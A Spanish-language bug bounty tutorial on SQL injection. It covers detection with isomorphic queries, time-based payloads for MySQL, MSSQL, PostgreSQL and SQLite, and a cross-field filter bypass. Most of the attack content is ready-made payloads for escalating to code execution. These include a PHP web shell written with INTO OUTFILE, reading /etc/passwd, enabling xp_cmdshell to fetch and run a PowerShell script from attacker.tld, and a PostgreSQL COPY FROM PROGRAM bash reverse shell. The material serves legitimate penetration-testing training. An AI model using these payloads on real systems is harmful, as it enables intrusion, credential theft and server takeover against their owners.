Respuesta rápida
SQLi sigue activo en 2026 — mucho menos común en SaaS modernos pero abundante en apps legacy, panels de admin y campos cross-validados parcialmente. La metodología es: detectar (isomorphic queries) → confirmar (time-based en el motor identificado) → extraer (UNION o boolean-based) → escalar (RCE via OUTFILE, xp_cmdshell o UDFs). Bounties típicos: €1.000-€5.000+ según severidad.
Detección — isomorphic queries
Antes de payloads agresivos, prueba inputs equivalentes que solo dan el mismo resultado si la query se ejecuta:
| Contexto | Test A | Test B (isomorphic) | Signal |
|---|---|---|---|
| Numérico | id=1 | id=2-1 | Aritmética se ejecuta |
| Numérico | id=1 | id=1+'' | Concat string se ejecuta |
| LIKE | q=Big | q=Big%% | Wildcard % no escapado |
| String | name=Big | name=Big' ' | Quote no escapado |
Doble % exitoso revela contexto LIKE (no WHERE =). Más ligero, menos detección WAF, identifica el contexto exacto antes de tirar payloads.
Time-based payloads por motor
MySQL
' AND SLEEP(5)-- -
" AND SLEEP(5)-- -
') AND SLEEP(5)-- -
' AND (SELECT SLEEP(5))-- -
1 AND SLEEP(5)-- -
' OR SLEEP(5)-- -
' AND BENCHMARK(10000000,SHA1('test'))-- -
MSSQL
'; WAITFOR DELAY '0:0:5'-- -
"; WAITFOR DELAY '0:0:5'-- -
'); WAITFOR DELAY '0:0:5'-- -
1; WAITFOR DELAY '0:0:5'-- -
PostgreSQL
'; SELECT pg_sleep(5)-- -
' AND (SELECT pg_sleep(5))-- -
1; SELECT pg_sleep(5)-- -
' || pg_sleep(5)-- -
SQLite
' AND 1=RANDOMBLOB(500000000)-- -
" AND 1=RANDOMBLOB(500000000)-- -
') AND 1=RANDOMBLOB(500000000)-- -
Mide la latencia: 200ms → 5+s confirma ejecución. Repite 3 veces para descartar falso positivo por jitter de red.
Identificación del motor
Después de confirmar SQLi, identifica:
| Test | Si responde rápido | Engine |
|---|---|---|
version() | string | MySQL/PostgreSQL |
@@version | MSSQL version | MSSQL |
sqlite_version() | "3.x" | SQLite |
' UNION SELECT @@version-- | string en respuesta | MySQL/MSSQL |
' AND 1=1::int-- | OK | PostgreSQL |
Identificación precisa del motor desbloquea los payloads correctos.
SQL → RCE
Cuando consigues SQLi en un endpoint con permisos suficientes, es RCE en el server. Por motor:
MySQL — INTO OUTFILE web shell
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -
Requisitos: privilegio FILE, conocer un path escribible servido por el web server.
MySQL — LOAD_FILE
' UNION SELECT LOAD_FILE('/etc/passwd')-- -
' UNION SELECT LOAD_FILE(0x2f6574632f706173737764)-- - # hex bypass de filtros
MSSQL — xp_cmdshell
'; EXEC xp_cmdshell 'whoami'-- -
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.tld/shell.ps1'')"'-- -
Si xp_cmdshell está deshabilitado, suele bastar reconfigurar (algunos accounts SQL tienen permisos de sp_configure).
PostgreSQL — COPY FROM PROGRAM
'; CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';-- -
'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker.tld/4444 0>&1"';-- -
PostgreSQL — UDF C
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('whoami');
Requiere permisos altos (SUPERUSER).
Bypass cross-field — el caso del enrollment
Cuando los filtros se aplican parcialmente en campos diferentes:
- Campo A (
enrollmentNumber): enforce longitud exacta de 6 caracteres. - Campo B (
nationalId): eliminan comillas simples y dobles.
enrollmentNumber = 'OR '' (6 chars exactos, satisface length)
nationalId = =2 UNION SELECT CONCAT(...)-- - (sin comillas, pasa quote filter)
La query original:
WHERE a.enrollmentNumber = '$enrollmentNumber'
AND a.nationalId = '$nationalId'
Con la inyección:
WHERE a.enrollmentNumber='' OR ''' AND a.nationalId='=2 UNION SELECT...-- -'
enrollmentNumber=''→ false.OR '''→ cierra y reabre comillas, convierteAND a.nationalId='en string.- El contenido del
nationalId(sin comillas) se ejecuta como SQL.
UNION sin comillas usando CHAR():
=2 UNION SELECT CONCAT(STUDENTID, CHAR(32), STUDENTNAME, CHAR(32), NATIONALID, CHAR(32), EMAIL) FROM STUDENT WHERE STUDENTID = 10425-- -
Patrón a buscar: apps con múltiples campos donde cada uno tiene validaciones diferentes. Los filtros parciales en campos separados se combinan para bypass completo.
PostgreSQL double-dash injection
Caso curioso: parámetro numérico negativo en operación aritmética.
SELECT balance - ? FROM accounts -- con param = -1
-- Interpola a: SELECT balance --1 FROM accounts
-- PostgreSQL trata "--1" como line comment (MySQL requiere whitespace después de --)
Requisitos:
- PostgreSQL (no MySQL/SQLite).
- Simple query protocol (no extended/prepared statements).
- Parámetro numérico en contexto aritmético (
balance - ?).
Escalación con multi-line string + newline en otro parámetro rompe el comment y permite inyectar SQL arbitrario.
Fix correcto: envolver negativos en paréntesis (-42).
Metodología de hunting
[ ] Identificar todos los endpoints con parámetros numéricos
[ ] Aplicar isomorphic queries para detectar primer signal
[ ] Confirmar con time-based del motor identificado
[ ] Extracción mínima (database name, version)
[ ] Decisión: ¿UNION-based, boolean-based, time-based?
[ ] Si privileges altos: probar RCE (OUTFILE/xp_cmdshell/COPY FROM PROGRAM)
[ ] Documentar PoC completo con request + response visible
Burp + sqlmap útil para automatizar partes, pero manual primero para identificar el contexto.
Hunting checklist
- ¿Hay endpoints donde el ID viaja en URL/body sin parametrización clara?
- ¿La app tiene admin panels o legacy modules con SQL directo?
- ¿Los errores son verbose con stack traces de DB?
- ¿Búsquedas con
LIKE(q=)? Probar wildcards y comillas. - ¿Parámetros numéricos en operaciones aritméticas? (postgres double-dash).
- ¿Múltiples campos con validaciones distintas? → cross-field bypass.
Labs relacionados
Practica time-based, UNION extraction y SQLi → RCE en apps con cuatro motores: labs de SQL Injection.
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Practica esto en un lab
Sqli
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
Command Injection — bypasses con espacio, encoding y backticks
Inyección de comandos en endpoints que pasan input al shell. Bypasses de filtros: ${IFS}, $@, ;|&, encoded null bytes, output redirection a archivo.
SSTI — Server-Side Template Injection en Jinja2, Twig, Velocity y Freemarker
Detección con polyglots, identificación del engine, escalación a RCE en Jinja2/Python, Twig/PHP, Velocity/Java. Patrones donde se mete user input en templates.
Headless browsers — SSRF y RCE en endpoints que renderizan URLs
Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.
